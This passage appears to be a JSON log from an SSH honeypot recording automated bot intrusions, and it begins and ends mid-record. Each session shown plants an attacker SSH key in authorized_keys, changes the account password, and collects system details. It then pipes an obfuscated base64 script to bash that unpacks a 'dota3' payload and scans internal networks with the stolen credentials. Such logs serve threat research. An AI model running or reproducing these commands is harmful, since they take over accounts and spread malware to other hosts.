-m"},{"seq":18,"at":"2026-08-25T09:50:51.480794+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-25T09:50:51.545915+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-25T09:50:51.546412+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-25T09:50:51.611010+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-25T09:50:51.611635+00:00","kind":"output","latency_ms":null,"data":"top - 09:50:51 up 5 days, 6:40, 0 user, load average: 0.34, 0.27, 0.22\nTasks: 108 total, 1 running, 107 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7308 free, 8579 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-25T09:50:51.677571+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-25T09:50:51.678072+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-25T09:50:51.743788+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-25T09:50:51.744502+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-25T09:50:51.808914+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-25T09:50:51.809672+00:00","kind":"output","latency_ms":null,"data":"es1"},{"seq":29,"at":"2026-08-25T09:50:51.872995+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-25T09:50:52.779591+00:00","kind":"output","latency_ms":906,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel: 1"},{"seq":31,"at":"2026-08-25T09:50:52.847244+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-25T09:50:53.367272+00:00","kind":"output","latency_ms":520,"data":"24.02G"},{"seq":33,"at":"2026-08-25T09:50:53.798428+00:00","kind":"input","latency_ms":null,"data":"echo \"es1 es1\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-25T09:50:53.862302+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-25T09:50:54.032003+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":36,"at":"2026-08-25T09:50:54.332443+00:00","kind":"output","latency_ms":469,"data":""},{"seq":37,"at":"2026-08-25T09:50:54.554458+00:00","kind":"output","latency_ms":522,"data":"1"},{"seq":38,"at":"2026-08-25T09:50:54.619017+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-25T09:50:55.000451+00:00","kind":"output","latency_ms":381,"data":"1"},{"seq":40,"at":"2026-08-25T09:50:55.066561+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-25T09:50:55.131112+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-25T09:50:55.797300+00:00","kind":"output","latency_ms":665,"data":"1"},{"seq":43,"at":"2026-08-25T09:50:55.864124+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-25T09:50:56.369354+00:00","kind":"output","latency_ms":505,"data":""},{"seq":45,"at":"2026-08-25T09:50:56.436608+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-25T09:50:56.913118+00:00","kind":"output","latency_ms":475,"data":""},{"seq":47,"at":"2026-08-25T09:51:04.656072+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-25T09:51:04.656882+00:00","kind":"output","latency_ms":null,"data":"es1"}],"credentials":[{"username":"es1","password":"es1","method":"password","accepted":true,"tier":"other"}]} {"id":"1ec638cc-b33e-4be7-8f52-047ca1789644","name":"painted-idle-kestrel","protocol":"ssh","channel_kind":"exec","src_ip":"76.79.213.70","src_port":51068,"username":"erpnext","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":371,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-25T08:53:26.661515+00:00","ended_at":"2026-08-25T08:53:26.784419+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":4161,"events":[{"seq":1,"at":"2026-08-25T08:52:55.924103+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-25T08:52:56.294880+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-25T08:53:00.208839+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-25T08:53:00.209213+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-25T08:53:00.580705+00:00","kind":"input","latency_ms":null,"data":"echo -e \"erpnext@1234\\njAfuNANwN9O3\\njAfuNANwN9O3\"|passwd|bash"},{"seq":6,"at":"2026-08-25T08:53:00.950768+00:00","kind":"input","latency_ms":null,"data":"echo \"erpnext@1234\\njAfuNANwN9O3\\njAfuNANwN9O3\\n\"|passwd"},{"seq":7,"at":"2026-08-25T08:53:01.322206+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-25T08:53:01.322804+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-25T08:53:01.694757+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-25T08:53:02.425029+00:00","kind":"output","latency_ms":730,"data":"15888 15632 256 0 0 0"},{"seq":11,"at":"2026-08-25T08:53:02.797935+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-25T08:53:03.408189+00:00","kind":"output","latency_ms":607,"data":"-rwxr-xr-x 1 root root 142K Apr 18 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-25T08:53:03.777493+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-25T08:53:03.778776+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-25T08:53:04.149335+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-25T08:53:04.150128+00:00","kind":"output","latency_ms":null,"data":" 08:53:04 up 5 days, 5:43, 0 user, load average: 0.04, 0.05, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-25T08:53:04.521792+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-25T08:53:04.522242+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-25T08:53:04.894461+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-25T08:53:04.894763+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-25T08:53:05.267478+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-25T08:53:05.268619+00:00","kind":"output","latency_ms":null,"data":"top - 08:53:05 up 5 days, 5:43, 0 user, load average: 0.04, 0.05, 0.05\nTasks: 107 total, 1 running, 106 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6355 free, 9532 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-25T08:53:05.638627+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-25T08:53:05.638933+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-25T08:53:06.012568+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-25T08:53:06.013209+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-25T08:53:06.383682+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-25T08:53:06.385087+00:00","kind":"output","latency_ms":null,"data":"erpnext"},{"seq":29,"at":"2026-08-25T08:53:06.754016+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-25T08:53:07.954035+00:00","kind":"output","latency_ms":1199,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel: 1\nModel name: AMD EPYC 7713 64-Core Processor\nModel: 1\nModel name: AMD EPYC 7713 64-Core Processor\nModel: 1\nModel name: AMD EPYC 7713 64-Core Processor\nModel: 1\nModel name: AMD EPYC 7713 64-Core Processor\nModel: 1\nModel name: AMD EPYC 7713 64-Core Processor\nModel: 1\nModel name: AMD EPYC 7713 64-Core Processor\nModel: 1\nModel name: AMD EPYC 7713 64-Core Processor\nModel: 1"},{"seq":31,"at":"2026-08-25T08:53:08.334731+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-25T08:53:09.191262+00:00","kind":"output","latency_ms":864,"data":"25G"},{"seq":33,"at":"2026-08-25T08:53:10.579224+00:00","kind":"input","latency_ms":null,"data":"echo \"erpnext erpnext@1234\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-25T08:53:10.990442+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-25T08:53:11.452088+00:00","kind":"output","latency_ms":461,"data":""},{"seq":36,"at":"2026-08-25T08:53:12.349132+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-25T08:53:13.184076+00:00","kind":"output","latency_ms":834,"data":"dev,0000000000000000,0 0 0 0 0\n\u0d07"},{"seq":38,"at":"2026-08-25T08:53:13.556126+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-25T08:53:14.053563+00:00","kind":"output","latency_ms":495,"data":"dev,0000000000000000,0 0 0 0 0\n\u0d07"},{"seq":40,"at":"2026-08-25T08:53:14.424910+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-25T08:53:14.795309+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-25T08:53:16.717335+00:00","kind":"output","latency_ms":1921,"data":"dev,0000000000000000,0 0 0 0 0\n"},{"seq":43,"at":"2026-08-25T08:53:17.088114+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-25T08:53:17.618881+00:00","kind":"output","latency_ms":529,"data":"dev,0000000000000000,0 0 0 0 0"},{"seq":45,"at":"2026-08-25T08:53:17.990307+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-25T08:53:26.662068+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":47,"at":"2026-08-25T08:53:26.663709+00:00","kind":"output","latency_ms":null,"data":"erpnext"}],"credentials":[{"username":"erpnext","password":"erpnext@1234","method":"password","accepted":true,"tier":"other"}]} {"id":"ee9d9728-bdcb-4943-b9e5-368e21f93454","name":"whispering-hazy-blackbird","protocol":"ssh","channel_kind":"exec","src_ip":"98.70.50.166","src_port":41214,"username":"ftpuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":591,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-25T08:52:46.484465+00:00","ended_at":"2026-08-25T08:52:46.663187+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3815,"events":[{"seq":1,"at":"2026-08-25T08:52:05.349730+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-25T08:52:06.381071+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-25T08:52:11.752776+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-25T08:52:11.753247+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-25T08:52:12.346333+00:00","kind":"input","latency_ms":null,"data":"echo -e \"abcd1234\\nIzFq4OhUT0Qc\\nIzFq4OhUT0Qc\"|passwd|bash"},{"seq":6,"at":"2026-08-25T08:52:12.929700+00:00","kind":"input","latency_ms":null,"data":"echo \"abcd1234\\nIzFq4OhUT0Qc\\nIzFq4OhUT0Qc\\n\"|passwd"},{"seq":7,"at":"2026-08-25T08:52:13.514446+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-25T08:52:13.514808+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-25T08:52:14.105521+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-25T08:52:14.936791+00:00","kind":"output","latency_ms":830,"data":"15888 1743 14123 220 0 1728"},{"seq":11,"at":"2026-08-25T08:52:15.522136+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-25T08:52:16.163705+00:00","kind":"output","latency_ms":640,"data":"-rwxr-xr-x 1 root root 148K Apr 23 2025 /usr/bin/ls"},{"seq":13,"at":"2026-08-25T08:52:16.756663+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-25T08:52:16.757436+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-25T08:52:17.347431+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-25T08:52:17.347911+00:00","kind":"output","latency_ms":null,"data":" 08:52:17 up 5 days, 5:42, 0 user, load average: 0.12, 0.09, 0.08\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-25T08:52:17.940664+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-25T08:52:17.941179+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-25T08:52:18.525898+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-25T08:52:18.546897+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-25T08:52:19.127311+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-25T08:52:19.128184+00:00","kind":"output","latency_ms":null,"data":"top - 08:52:19 up 5 days, 5:42, 0 user, load average: 0.12, 0.09, 0.08\nTasks: 114 total, 1 running, 113 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6355 free, 9532 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-25T08:52:19.720449+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-25T08:52:19.721295+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-25T08:52:20.309809+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-25T08:52:20.310455+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-25T08:52:20.896022+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-25T08:52:20.896520+00:00","kind":"output","latency_ms":null,"data":"ftpuser"},{"seq":29,"at":"2026-08-25T08:52:21.488660+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-25T08:52:25.071656+00:00","kind":"output","latency_ms":3581,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor\nModel name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-25T08:52:25.661994+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-25T08:52:26.303507+00:00","kind":"output","latency_ms":640,"data":"25G"},{"seq":33,"at":"2026-08-25T08:52:28.116281+00:00","kind":"input","latency_ms":null,"data":"echo \"ftpuser abcd1234\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-25T08:52:28.715650+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-25T08:52:30.077057+00:00","kind":"output","latency_ms":1361,"data":""},{"seq":36,"at":"2026-08-25T08:52:30.808631+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-25T08:52:31.432556+00:00","kind":"output","latency_ms":623,"data":"emFsdmVyb3BlbiBwYWRkb2Nr\n"},{"seq":38,"at":"2026-08-25T08:52:32.029167+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-25T08:52:32.563240+00:00","kind":"output","latency_ms":538,"data":"emFsdmVyb3BlbiBwYWRkb2Nr"},{"seq":40,"at":"2026-08-25T08:52:33.148732+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-25T08:52:33.741191+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-25T08:52:36.125960+00:00","kind":"output","latency_ms":2384,"data":"emFsdmVyb3BlbiBwYWRkb2Nr"},{"seq":43,"at":"2026-08-25T08:52:36.720771+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-25T08:52:37.260311+00:00","kind":"output","latency_ms":538,"data":"emFsdmVyb3BlbiBwYWRkb2Nr"},{"seq":45,"at":"2026-08-25T08:52:37.845435+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-25T08:52:38.531198+00:00","kind":"output","latency_ms":685,"data":""},{"seq":47,"at":"2026-08-25T08:52:46.487528+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-25T08:52:46.488190+00:00","kind":"output","latency_ms":null,"data":"ftpuser"}],"credentials":[{"username":"ftpuser","password":"abcd1234","method":"password","accepted":true,"tier":"other"}]} {"id":"c9ca2c84-e599-4dfd-b40a-92acfaa16497","name":"stormy-pewter-otter","protocol":"ssh","channel_kind":"exec","src_ip":"195.178.191.5","src_port":46574,"username":"redmine","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":381,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-25T03:04:54.158569+00:00","ended_at":"2026-08-25T03:04:54.269691+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3561,"events":[{"seq":1,"at":"2026-08-25T03:04:24.979561+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-25T03:04:25.358261+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-25T03:04:30.197571+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-25T03:04:30.198289+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-25T03:04:30.578684+00:00","kind":"input","latency_ms":null,"data":"echo -e \"Qwerty123\\nPxqqniU0R1Q5\\nPxqqniU0R1Q5\"|passwd|bash"},{"seq":6,"at":"2026-08-25T03:04:30.957047+00:00","kind":"input","latency_ms":null,"data":"echo 